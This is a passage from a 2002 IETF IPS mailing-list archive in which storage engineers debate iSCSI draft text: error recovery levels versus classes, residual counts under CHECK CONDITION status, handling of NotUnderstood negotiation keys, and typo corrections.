Last sentence "... if immediate data where sent" change "where" to "were".

Section B.3 R2TSN DataSN use Examples
Bidirectional DataSN Example "... in the alter case" change "alter" to
"latter".

Thanks,
Anthony J. Battersby
Cybernetics

--=_alternative 003DD4CEC2256C10_=-- From owner-ips@ece.cmu.edu Fri Aug 9 10:27:37 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA28110 for ; Fri, 9 Aug 2002 10:27:37 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g79Dlui15554 for ips-outgoing; Fri, 9 Aug 2002 09:47:56 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from father.pmc-sierra.bc.ca (father.pmc-sierra.bc.ca [216.241.224.13]) by ece.cmu.edu (8.11.0/8.10.2) with SMTP id g79Dlro15550 for ; Fri, 9 Aug 2002 09:47:53 -0400 (EDT) Received: (qmail 26209 invoked by uid 104); 9 Aug 2002 13:47:42 -0000 Received: from Shahram_Davari@pmc-sierra.com by father with qmail-scanner-1.00 (uvscan: v4.1.40/v4217. . Clean. Processed in 0.760733 secs); 09 Aug 2002 13:47:42 -0000 Received: from unknown (HELO hymir.pmc-sierra.bc.ca) (134.87.114.120) by father.pmc-sierra.bc.ca with SMTP; 9 Aug 2002 13:47:41 -0000 Received: from bby1exi01.pmc-sierra.bc.ca (bby1exi01.pmc-sierra.bc.ca [216.241.231.251]) by hymir.pmc-sierra.bc.ca (jason/8.11.6) with ESMTP id g79Dlfw10395; Fri, 9 Aug 2002 06:47:41 -0700 (PDT) Received: by bby1exi01 with Internet Mail Service (5.5.2653.19) id ; Fri, 9 Aug 2002 06:47:49 -0700 Message-ID: <4B6D09F3B826D411A67300D0B706EFDEB037D7@nt-exch-yow.pmc-sierra.bc.ca> From: Shahram Davari To: "'pat_thaler@agilent.com'" , pkoning@equallogic.com Cc: ips@ece.cmu.edu Subject: RE: iSCSI question Date: Fri, 9 Aug 2002 06:47:35 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Pat, Thanks for your excellent description. I now fully understand the issue. However, I disagree that the text is clear on the difference between error recover classes and error recovery levels. As a proof, look at figure 2, in section 5.15: +-------------------+--------------------------------------------+ |ErrorRecoveryLevel | Associated Error recovery capabilities | +-------------------+--------------------------------------------+ | 0 | Session recovery class | | | (Section 5.14.4 Session Recovery) | +-------------------+--------------------------------------------+ | 1 | Digest failure recovery (See Note below.) | +-------------------+--------------------------------------------+ | 2 | Connection recovery class | | | (Section 5.14.3 Connection Recovery) | +-------------------+--------------------------------------------+ In which, each recovery level is associated with only one recovery class. Yours, -Shahram > -----Original Message----- > From: pat_thaler@agilent.com [mailto:pat_thaler@agilent.com] > Sent: Thursday, August 08, 2002 5:58 PM > To: Shahram Davari; pkoning@equallogic.com > Cc: ips@ece.cmu.edu > Subject: RE: iSCSI question > > > Shahram, > > There are two recovery heirarchies. You seem to be confusing > error recovery level with error recovery class. > > One is the heirarchy for implementation requirements. With 3 > forms of recovery, there are 8 possible combinations but to > simplify interoperability and to specify minimum acceptable > operation, we don't want to allow all eight. Session > qualifies two ways to be level 0 of this heirarchy - it is > simplest to implement and it should be able to recover from > any recoverable error. > > Note that these are the error recovery levels that are > described in 5.15. A sessions recovery level indicates the > set of recovery classes it is capable of using. The recovery > levels are defined such that a lower recovery level includes > a subset of the recovery classes available at a higher recovery level. > > The other heirarchy is the order in which the available > classes are applied once an error occurs. This is the subject > of 5.14. The classes are disjoint. > > Once an error occurs, the device will choose an error > recovery class from the set of recovery classes in its > recovery level. If that recovery class fails, it may try the > next higher class. > > Error recovery level 0 includes the Session recovery class. > Error recovery level 1 includes the two classes useful for > Digest failure recovery (Within-Command and > Within-Connection) plus the Session recovery class from level 0. > Error recovery level 2 includes Connection recovery class > plus the classes included in level 1. > > I think the text already makes this clear and the pyramid > correctly represents this, but perhaps the chart below the > period could add "plus the capablilities of > ErrorRecoveryLevel n" to the boxes for Associated Error > recovery capablities for levels 1 and 2 ("n" = 0 and 1, respectively). > > I hope this helps remove some of the confusion. > > Pat > > -----Original Message----- > From: Shahram Davari [mailto:Shahram_Davari@pmc-sierra.com] > Sent: Thursday, August 08, 2002 2:22 PM > To: 'Paul Koning' > Cc: ips@ece.cmu.edu > Subject: RE: iSCSI question > > > Paul, > > > > But that's not what "hierarchy" refers to here. > > > > The hierarchy is one of increased capability, not increased > > desperation. Session recovery is the minimum required; the > additional > > levels are optional capabilities in addition to the minimum. Each > > higher level in the hierarchy is a superset of the one below. > > It all depends on the definition of these recovery classes. > > 1) If they are defined in a superset/subset fashion, then I agree > that level of complexity increases as: Session->PDU->connection. > Then I suggest changing texts in other parts of the draft such as > section 5.14 to indicate that if you have the capabilities of > class X, then you don't need to escalate to lower classes, because > class X already has those capabilities itself. Also I suggest > changing the hierarchy figure as following: > > > + > / \ > / 2 \ > +-----+ > / 1,2 \ > +---------+ > / 0,1,2 \ > +-------------+ > > > 2) If they are defined as disjoint classes, then the hierarchy for > complexity makes no sense. Rather you need a hierarchy for escalation > or transition. > > > Based on the emails that I have received so far it seems that > the intent is the former definition. > > Yours, > -Shahram > From owner-ips@ece.cmu.edu Fri Aug 9 10:29:03 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA28177 for ; Fri, 9 Aug 2002 10:29:03 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g79EBv817057 for ips-outgoing; Fri, 9 Aug 2002 10:11:57 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from pepsi.splentec.com (ns.splentec.com [209.47.35.194]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g79EBto17053 for ; Fri, 9 Aug 2002 10:11:55 -0400 (EDT) Received: from splentec.com (canoe.splentec.com [209.47.35.250]) by pepsi.splentec.com (8.11.6/8.11.0) with ESMTP id g79EBas19585; Fri, 9 Aug 2002 10:11:36 -0400 Message-ID: <3D53CD9A.5B075DC7@splentec.com> Date: Fri, 09 Aug 2002 10:11:38 -0400 From: Luben Tuikov Organization: Splentec Ltd. X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.19 i686) X-Accept-Language: en MIME-Version: 1.0 To: Black_David@emc.com CC: ips@ece.cmu.edu Subject: Re: iSCSI: Check Condition and Residuals References: <277DD60FB639D511AC0400B0D068B71E064435AA@CORPMX14> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Black_David@emc.com wrote: > > I think Julian's point is that the use of sense data > vs. transport support to return residual counts for > CHECK CONDITION is in T10's domain to specify, and > we ought to leave it to T10, but warn implementers > that it would be wrong to assume that iSCSI residuals > will only show up when GOOD status is returned. And this is EXACTLY WHAT I'm saying. Quoting myself here for n-th time: `` I.e. the target SHOULD NOT look inside the sense data and retrieve them [residuals] (EXTENDED COPY exception). '' This has been an absolute non-issue for me right in the beginning with this: Santosh Rao wrote (Thu, 01 Aug 2002 10:11:48 -0700): > Julian & Robert [Russell], > > I raised the same query regarding RESID for FCP/FCP-2 this time last > year. The response I got for FCP/FCP-2 was that RESID information shall > be valid, regardless of the scsi status returned. The RESID field, can > be checked by the scsi transport drivers independent of the SCSI STATUS. THIS-------------------------------------->^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > I have enclosed the T10 response from Rob Snivelly below on that issue. > As per FC-PLDA, the RESID information is valid, regardless of the scsi > status returned by the device. > > An example of this is the case of "NO SENSE" or "RECOVERED ERROR" check > condition, when the data transfer may have taken place and a CHECK > CONDITION is returned. Also, for other CHECK CONDITION status', partial > data transfer may have taken place and hence, resid information should > be present. This alone is CLEARLY implying that targets look up the residuals right in the sense data, which is totally wrong. (Repeating myself here again.) I don't know why this was brought up _at__all_. The iSCSI document is as clear and complete as anything else regarding residuals and NOTHING should be touched regarding that matter. <- that's what I'm saying. -- Luben From owner-ips@ece.cmu.edu Fri Aug 9 11:07:39 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA29266 for ; Fri, 9 Aug 2002 11:07:39 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g79ETkG18076 for ips-outgoing; Fri, 9 Aug 2002 10:29:46 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from pepsi.splentec.com (ns.splentec.com [209.47.35.194]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g79ETho18066 for ; Fri, 9 Aug 2002 10:29:43 -0400 (EDT) Received: from splentec.com (canoe.splentec.com [209.47.35.250]) by pepsi.splentec.com (8.11.6/8.11.0) with ESMTP id g79ETSs19617; Fri, 9 Aug 2002 10:29:28 -0400 Message-ID: <3D53D1CA.FD14C64F@splentec.com> Date: Fri, 09 Aug 2002 10:29:30 -0400 From: Luben Tuikov Organization: Splentec Ltd. X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.19 i686) X-Accept-Language: en MIME-Version: 1.0 To: Black_David@emc.com CC: ips@ece.cmu.edu Subject: Re: iSCSI and FCP References: <277DD60FB639D511AC0400B0D068B71E064435A9@CORPMX14> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Black_David@emc.com wrote: > > > > Also, a transport (iSCSI) shouldn't be influenced by > > > another transport (FCP), but only by the unifying layer, > > > i.e. SAM-3. > > > > Well? > > Ok as a "first principles" position, I suppose ... Sorry, my mistake again. (Can you have it any other way?!) I always take the position of ``first principles'', ``black and white'', ``0 or 1'', etc. -- it's just a lot easier and straightforward. `` ... speaking as an engineer.'' -- Dilbert -- Luben From owner-ips@ece.cmu.edu Fri Aug 9 12:54:59 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA03153 for ; Fri, 9 Aug 2002 12:54:58 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g79GGTN25637 for ips-outgoing; Fri, 9 Aug 2002 12:16:29 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from lion.ninthwonder.com (lion.ninthwonder.com [151.199.66.147]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g79GGRo25631 for ; Fri, 9 Aug 2002 12:16:27 -0400 (EDT) Received: by lion.ninthwonder.com (Postfix, from userid 1021) id D511C3070A; Fri, 9 Aug 2002 12:16:26 -0400 (EDT) Date: Fri, 9 Aug 2002 09:12:23 -0700 (PDT) From: Bill Studenmund X-X-Sender: To: Subject: Problem with use of NotUnderstood in negotiations Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ips@ece.cmu.edu Precedence: bulk I encountered a problem with how draft 15 specifies using NotUnderstood as a reply to keys that aren't understood. Namely if something injects garbage into the negotiation stream we can end up with a key BOTH sides don't understand, and so they both sit there sending "foo=NotUnderstood" back and forth to each other. Yes, well-behaved negotiators won't offer a key they don't understand. But the data stream can be corrupted, and all it would take is a single-bit error in a key name and we encounter the above. I propose we change the text to: Any key not understood by the acceptor may be ignored by the acceptor without affecting the basic function. However, unless the value for the key was "NotUnderstood", the answer for a key not understood MUST be key=NotUnderstood. If the value for the key was "NotUnderstood", the acceptor MUST not answer the key. Note: I can easily see closing the connection with an error in the above case too. Thoughts? Take care, Bill From owner-ips@ece.cmu.edu Fri Aug 9 13:48:17 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA04975 for ; Fri, 9 Aug 2002 13:48:12 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g79HAEe29164 for ips-outgoing; Fri, 9 Aug 2002 13:10:14 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from msgbas1.cos.agilent.com (msgbas1x.cos.agilent.com [192.25.240.36]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g79HACo29159 for ; Fri, 9 Aug 2002 13:10:12 -0400 (EDT) Received: from msgrel1.cos.agilent.com (msgrel1.cos.agilent.com [130.29.152.77]) by msgbas1.cos.agilent.com (Postfix) with ESMTP id 7C325CDAC; Fri, 9 Aug 2002 11:10:10 -0600 (MDT) Received: from axcsbh2.cos.agilent.com (axcsbh2.cos.agilent.com [130.29.152.144]) by msgrel1.cos.agilent.com (Postfix) with SMTP id 6A130136; Fri, 9 Aug 2002 11:10:09 -0600 (MDT) Received: from 130.29.152.144 by axcsbh2.cos.agilent.com (InterScan E-Mail VirusWall NT); Fri, 09 Aug 2002 11:10:08 -0600 Received: by axcsbh2.cos.agilent.com with Internet Mail Service (5.5.2653.19) id <355P8MYL>; Fri, 9 Aug 2002 11:10:08 -0600 Message-ID: <1BEBA5E8600DD4119A50009027AF54A00D643537@axcs04.cos.agilent.com> From: pat_thaler@agilent.com To: Shahram_Davari@pmc-sierra.com, pat_thaler@agilent.com, pkoning@equallogic.com Cc: ips@ece.cmu.edu Subject: RE: iSCSI question Date: Fri, 9 Aug 2002 11:10:06 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Shaharam, I agree that the table by itself is not clear, but that the text of the section clearly states things. That is why I suggested a change to that table: +-------------------+--------------------------------------------+ |ErrorRecoveryLevel | Associated Error recovery capabilities | +-------------------+--------------------------------------------+ | 0 | Session recovery class | | | (Section 5.14.4 Session Recovery) | +-------------------+--------------------------------------------+ | 1 | Digest failure recovery (See Note below.) | | | plus all ErrorRecoverLevel 0 capabilities | +-------------------+--------------------------------------------+ | 2 | Connection recovery class | | | (Section 5.14.3 Connection Recovery) | | | plus all ErrorRecoverLevel 1 capabilities | +-------------------+--------------------------------------------+ Pat -----Original Message----- From: Shahram Davari [mailto:Shahram_Davari@pmc-sierra.com] Sent: Friday, August 09, 2002 6:48 AM To: 'pat_thaler@agilent.com'; pkoning@equallogic.com Cc: ips@ece.cmu.edu Subject: RE: iSCSI question Pat, Thanks for your excellent description. I now fully understand the issue. However, I disagree that the text is clear on the difference between error recover classes and error recovery levels. As a proof, look at figure 2, in section 5.15: +-------------------+--------------------------------------------+ |ErrorRecoveryLevel | Associated Error recovery capabilities | +-------------------+--------------------------------------------+ | 0 | Session recovery class | | | (Section 5.14.4 Session Recovery) | +-------------------+--------------------------------------------+ | 1 | Digest failure recovery (See Note below.) | +-------------------+--------------------------------------------+ | 2 | Connection recovery class | | | (Section 5.14.3 Connection Recovery) | +-------------------+--------------------------------------------+ In which, each recovery level is associated with only one recovery class. Yours, -Shahram > -----Original Message----- > From: pat_thaler@agilent.com [mailto:pat_thaler@agilent.com] > Sent: Thursday, August 08, 2002 5:58 PM > To: Shahram Davari; pkoning@equallogic.com > Cc: ips@ece.cmu.edu > Subject: RE: iSCSI question > > > Shahram, > > There are two recovery heirarchies. You seem to be confusing > error recovery level with error recovery class. > > One is the heirarchy for implementation requirements. With 3 > forms of recovery, there are 8 possible combinations but to > simplify interoperability and to specify minimum acceptable > operation, we don't want to allow all eight. Session > qualifies two ways to be level 0 of this heirarchy - it is > simplest to implement and it should be able to recover from > any recoverable error. > > Note that these are the error recovery levels that are > described in 5.15. A sessions recovery level indicates the > set of recovery classes it is capable of using. The recovery > levels are defined such that a lower recovery level includes > a subset of the recovery classes available at a higher recovery level. > > The other heirarchy is the order in which the available > classes are applied once an error occurs. This is the subject > of 5.14. The classes are disjoint. > > Once an error occurs, the device will choose an error > recovery class from the set of recovery classes in its > recovery level. If that recovery class fails, it may try the > next higher class. > > Error recovery level 0 includes the Session recovery class. > Error recovery level 1 includes the two classes useful for > Digest failure recovery (Within-Command and > Within-Connection) plus the Session recovery class from level 0. > Error recovery level 2 includes Connection recovery class > plus the classes included in level 1. > > I think the text already makes this clear and the pyramid > correctly represents this, but perhaps the chart below the > period could add "plus the capablilities of > ErrorRecoveryLevel n" to the boxes for Associated Error > recovery capablities for levels 1 and 2 ("n" = 0 and 1, respectively). > > I hope this helps remove some of the confusion. > > Pat > > -----Original Message----- > From: Shahram Davari [mailto:Shahram_Davari@pmc-sierra.com] > Sent: Thursday, August 08, 2002 2:22 PM > To: 'Paul Koning' > Cc: ips@ece.cmu.edu > Subject: RE: iSCSI question > > > Paul, > > > > But that's not what "hierarchy" refers to here. > > > > The hierarchy is one of increased capability, not increased > > desperation. Session recovery is the minimum required; the > additional > > levels are optional capabilities in addition to the minimum. Each > > higher level in the hierarchy is a superset of the one below. > > It all depends on the definition of these recovery classes. > > 1) If they are defined in a superset/subset fashion, then I agree > that level of complexity increases as: Session->PDU->connection. > Then I suggest changing texts in other parts of the draft such as > section 5.14 to indicate that if you have the capabilities of > class X, then you don't need to escalate to lower classes, because > class X already has those capabilities itself. Also I suggest > changing the hierarchy figure as following: > > > + > / \ > / 2 \ > +-----+ > / 1,2 \ > +---------+ > / 0,1,2 \ > +-------------+ > > > 2) If they are defined as disjoint classes, then the hierarchy for > complexity makes no sense. Rather you need a hierarchy for escalation > or transition. > > > Based on the emails that I have received so far it seems that > the intent is the former definition. > > Yours, > -Shahram > From owner-ips@ece.cmu.edu Fri Aug 9 13:49:11 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA05021 for ; Fri, 9 Aug 2002 13:49:11 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g79HRbf00414 for ips-outgoing; Fri, 9 Aug 2002 13:27:37 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mother.pmc-sierra.bc.ca (mother.pmc-sierra.bc.ca [216.241.224.12]) by ece.cmu.edu (8.11.0/8.10.2) with SMTP id g79HRXo00409 for ; Fri, 9 Aug 2002 13:27:33 -0400 (EDT) Received: (qmail 11026 invoked by uid 104); 9 Aug 2002 17:27:27 -0000 Received: from Shahram_Davari@pmc-sierra.com by mother with qmail-scanner-1.00 (uvscan: v4.1.40/v4217. . Clean. Processed in 0.538553 secs); 09 Aug 2002 17:27:27 -0000 Received: from unknown (HELO hymir.pmc-sierra.bc.ca) (134.87.114.120) by mother.pmc-sierra.bc.ca with SMTP; 9 Aug 2002 17:27:26 -0000 Received: from bby1exi01.pmc-sierra.bc.ca (bby1exi01.pmc-sierra.bc.ca [216.241.231.251]) by hymir.pmc-sierra.bc.ca (jason/8.11.6) with ESMTP id g79HRQw15958; Fri, 9 Aug 2002 10:27:26 -0700 (PDT) Received: by bby1exi01 with Internet Mail Service (5.5.2653.19) id ; Fri, 9 Aug 2002 10:27:35 -0700 Message-ID: <4B6D09F3B826D411A67300D0B706EFDEB037DB@nt-exch-yow.pmc-sierra.bc.ca> From: Shahram Davari To: "'pat_thaler@agilent.com'" , pkoning@equallogic.com Cc: ips@ece.cmu.edu Subject: RE: iSCSI question Date: Fri, 9 Aug 2002 10:27:20 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Pat, Seems alright. -Shahram > -----Original Message----- > From: pat_thaler@agilent.com [mailto:pat_thaler@agilent.com] > Sent: Friday, August 09, 2002 1:10 PM > To: Shahram Davari; pat_thaler@agilent.com; pkoning@equallogic.com > Cc: ips@ece.cmu.edu > Subject: RE: iSCSI question > > > Shaharam, > > I agree that the table by itself is not clear, but that the > text of the section clearly states things. That is why I > suggested a change to that table: > > +-------------------+--------------------------------------------+ > |ErrorRecoveryLevel | Associated Error recovery capabilities | > +-------------------+--------------------------------------------+ > | 0 | Session recovery class | > | | (Section 5.14.4 Session Recovery) | > +-------------------+--------------------------------------------+ > | 1 | Digest failure recovery (See Note below.) | > | | plus all ErrorRecoverLevel 0 capabilities | > +-------------------+--------------------------------------------+ > | 2 | Connection recovery class | > | | (Section 5.14.3 Connection Recovery) | > | | plus all ErrorRecoverLevel 1 capabilities | > +-------------------+--------------------------------------------+ > > Pat > > > -----Original Message----- > From: Shahram Davari [mailto:Shahram_Davari@pmc-sierra.com] > Sent: Friday, August 09, 2002 6:48 AM > To: 'pat_thaler@agilent.com'; pkoning@equallogic.com > Cc: ips@ece.cmu.edu > Subject: RE: iSCSI question > > > Pat, > > Thanks for your excellent description. I now fully understand the > issue. > > However, I disagree that the text is clear on the difference between > error recover classes and error recovery levels. As a proof, > look at figure 2, in section 5.15: > > +-------------------+--------------------------------------------+ > |ErrorRecoveryLevel | Associated Error recovery capabilities | > +-------------------+--------------------------------------------+ > | 0 | Session recovery class | > | | (Section 5.14.4 Session Recovery) | > +-------------------+--------------------------------------------+ > | 1 | Digest failure recovery (See Note below.) | > +-------------------+--------------------------------------------+ > | 2 | Connection recovery class | > | | (Section 5.14.3 Connection Recovery) | > +-------------------+--------------------------------------------+ > > In which, each recovery level is associated with only one > recovery class. > > > Yours, > -Shahram > > > -----Original Message----- > > From: pat_thaler@agilent.com [mailto:pat_thaler@agilent.com] > > Sent: Thursday, August 08, 2002 5:58 PM > > To: Shahram Davari; pkoning@equallogic.com > > Cc: ips@ece.cmu.edu > > Subject: RE: iSCSI question > > > > > > Shahram, > > > > There are two recovery heirarchies. You seem to be confusing > > error recovery level with error recovery class. > > > > One is the heirarchy for implementation requirements. With 3 > > forms of recovery, there are 8 possible combinations but to > > simplify interoperability and to specify minimum acceptable > > operation, we don't want to allow all eight. Session > > qualifies two ways to be level 0 of this heirarchy - it is > > simplest to implement and it should be able to recover from > > any recoverable error. > > > > Note that these are the error recovery levels that are > > described in 5.15. A sessions recovery level indicates the > > set of recovery classes it is capable of using. The recovery > > levels are defined such that a lower recovery level includes > > a subset of the recovery classes available at a higher > recovery level. > > > > The other heirarchy is the order in which the available > > classes are applied once an error occurs. This is the subject > > of 5.14. The classes are disjoint. > > > > Once an error occurs, the device will choose an error > > recovery class from the set of recovery classes in its > > recovery level. If that recovery class fails, it may try the > > next higher class. > > > > Error recovery level 0 includes the Session recovery class. > > Error recovery level 1 includes the two classes useful for > > Digest failure recovery (Within-Command and > > Within-Connection) plus the Session recovery class from level 0. > > Error recovery level 2 includes Connection recovery class > > plus the classes included in level 1. > > > > I think the text already makes this clear and the pyramid > > correctly represents this, but perhaps the chart below the > > period could add "plus the capablilities of > > ErrorRecoveryLevel n" to the boxes for Associated Error > > recovery capablities for levels 1 and 2 ("n" = 0 and 1, > respectively). > > > > I hope this helps remove some of the confusion. > > > > Pat > > > > -----Original Message----- > > From: Shahram Davari [mailto:Shahram_Davari@pmc-sierra.com] > > Sent: Thursday, August 08, 2002 2:22 PM > > To: 'Paul Koning' > > Cc: ips@ece.cmu.edu > > Subject: RE: iSCSI question > > > > > > Paul, > > > > > > > But that's not what "hierarchy" refers to here. > > > > > > The hierarchy is one of increased capability, not increased > > > desperation. Session recovery is the minimum required; the > > additional > > > levels are optional capabilities in addition to the minimum. Each > > > higher level in the hierarchy is a superset of the one below. > > > > It all depends on the definition of these recovery classes. > > > > 1) If they are defined in a superset/subset fashion, then I agree > > that level of complexity increases as: Session->PDU->connection. > > Then I suggest changing texts in other parts of the draft such as > > section 5.14 to indicate that if you have the capabilities of > > class X, then you don't need to escalate to lower classes, because > > class X already has those capabilities itself. Also I suggest > > changing the hierarchy figure as following: > > > > > > + > > / \ > > / 2 \ > > +-----+ > > / 1,2 \ > > +---------+ > > / 0,1,2 \ > > +-------------+ > > > > > > 2) If they are defined as disjoint classes, then the hierarchy for > > complexity makes no sense. Rather you need a hierarchy for > escalation > > or transition. > > > > > > Based on the emails that I have received so far it seems that > > the intent is the former definition. > > > > Yours, > > -Shahram > > > From owner-ips@ece.cmu.edu Fri Aug 9 15:13:37 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA07803 for ; Fri, 9 Aug 2002 15:13:37 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g79IWrR04900 for ips-outgoing; Fri, 9 Aug 2002 14:32:53 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel10.hp.com (palrel10.hp.com [156.153.255.245]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g79IWmo04881 for ; Fri, 9 Aug 2002 14:32:48 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel10.hp.com (Postfix) with ESMTP id 31C90C00430; Fri, 9 Aug 2002 11:32:47 -0700 (PDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id LAA15558; Fri, 9 Aug 2002 11:32:34 -0700 (PDT) Message-ID: <3D540D5B.6FAFF5F3@cup.hp.com> Date: Fri, 09 Aug 2002 11:43:40 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.78 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: Luben Tuikov Cc: Black_David@emc.com, ips@ece.cmu.edu Subject: Re: iSCSI: Check Condition and Residuals References: <277DD60FB639D511AC0400B0D068B71E064435AA@CORPMX14> <3D53CD9A.5B075DC7@splentec.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Luben Tuikov wrote: > Santosh Rao wrote (Thu, 01 Aug 2002 10:11:48 -0700): > > Julian & Robert [Russell], > > > > I raised the same query regarding RESID for FCP/FCP-2 this time last > > year. The response I got for FCP/FCP-2 was that RESID information shall > > be valid, regardless of the scsi status returned. The RESID field, can > > be checked by the scsi transport drivers independent of the SCSI STATUS. > THIS-------------------------------------->^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > > I have enclosed the T10 response from Rob Snivelly below on that issue. > > As per FC-PLDA, the RESID information is valid, regardless of the scsi > > status returned by the device. > > > > An example of this is the case of "NO SENSE" or "RECOVERED ERROR" check > > condition, when the data transfer may have taken place and a CHECK > > CONDITION is returned. Also, for other CHECK CONDITION status', partial > > data transfer may have taken place and hence, resid information should > > be present. > > This alone is CLEARLY implying that targets look up the residuals > right in the sense data, which is totally wrong. (Repeating myself > here again.) My mail raised the question of when FCP-x initiator scsi transport drivers can examine the resid field. This has nothing to do with targets. I made no mention of targets peeking into sense data. Please read the complete mail properly in its full context before arriving at conclusions. - Santosh From owner-ips@ece.cmu.edu Fri Aug 9 16:09:29 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA09176 for ; Fri, 9 Aug 2002 16:09:29 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g79Jm7h10063 for ips-outgoing; Fri, 9 Aug 2002 15:48:07 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from pepsi.splentec.com (ns.splentec.com [209.47.35.194]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g79Jm4o10054 for ; Fri, 9 Aug 2002 15:48:04 -0400 (EDT) Received: from splentec.com (canoe.splentec.com [209.47.35.250]) by pepsi.splentec.com (8.11.6/8.11.0) with ESMTP id g79Jjhs21144; Fri, 9 Aug 2002 15:45:43 -0400 Message-ID: <3D541BEA.36B19692@splentec.com> Date: Fri, 09 Aug 2002 15:45:46 -0400 From: Luben Tuikov Organization: Splentec Ltd. X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.19 i686) X-Accept-Language: en MIME-Version: 1.0 To: Santosh Rao CC: Black_David@emc.com, ips@ece.cmu.edu Subject: Re: iSCSI: Check Condition and Residuals References: <277DD60FB639D511AC0400B0D068B71E064435AA@CORPMX14> <3D53CD9A.5B075DC7@splentec.com> <3D540D5B.6FAFF5F3@cup.hp.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Santosh Rao wrote: > > Luben Tuikov wrote: > > > Santosh Rao wrote (Thu, 01 Aug 2002 10:11:48 -0700): > > > Julian & Robert [Russell], > > > > > > I raised the same query regarding RESID for FCP/FCP-2 this time last > > > year. The response I got for FCP/FCP-2 was that RESID information shall > > > be valid, regardless of the scsi status returned. The RESID field, can > > > be checked by the scsi transport drivers independent of the SCSI STATUS. > > THIS-------------------------------------->^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > > > I have enclosed the T10 response from Rob Snivelly below on that issue. > > > As per FC-PLDA, the RESID information is valid, regardless of the scsi > > > status returned by the device. > > > > > > An example of this is the case of "NO SENSE" or "RECOVERED ERROR" check > > > condition, when the data transfer may have taken place and a CHECK > > > CONDITION is returned. Also, for other CHECK CONDITION status', partial > > > data transfer may have taken place and hence, resid information should > > > be 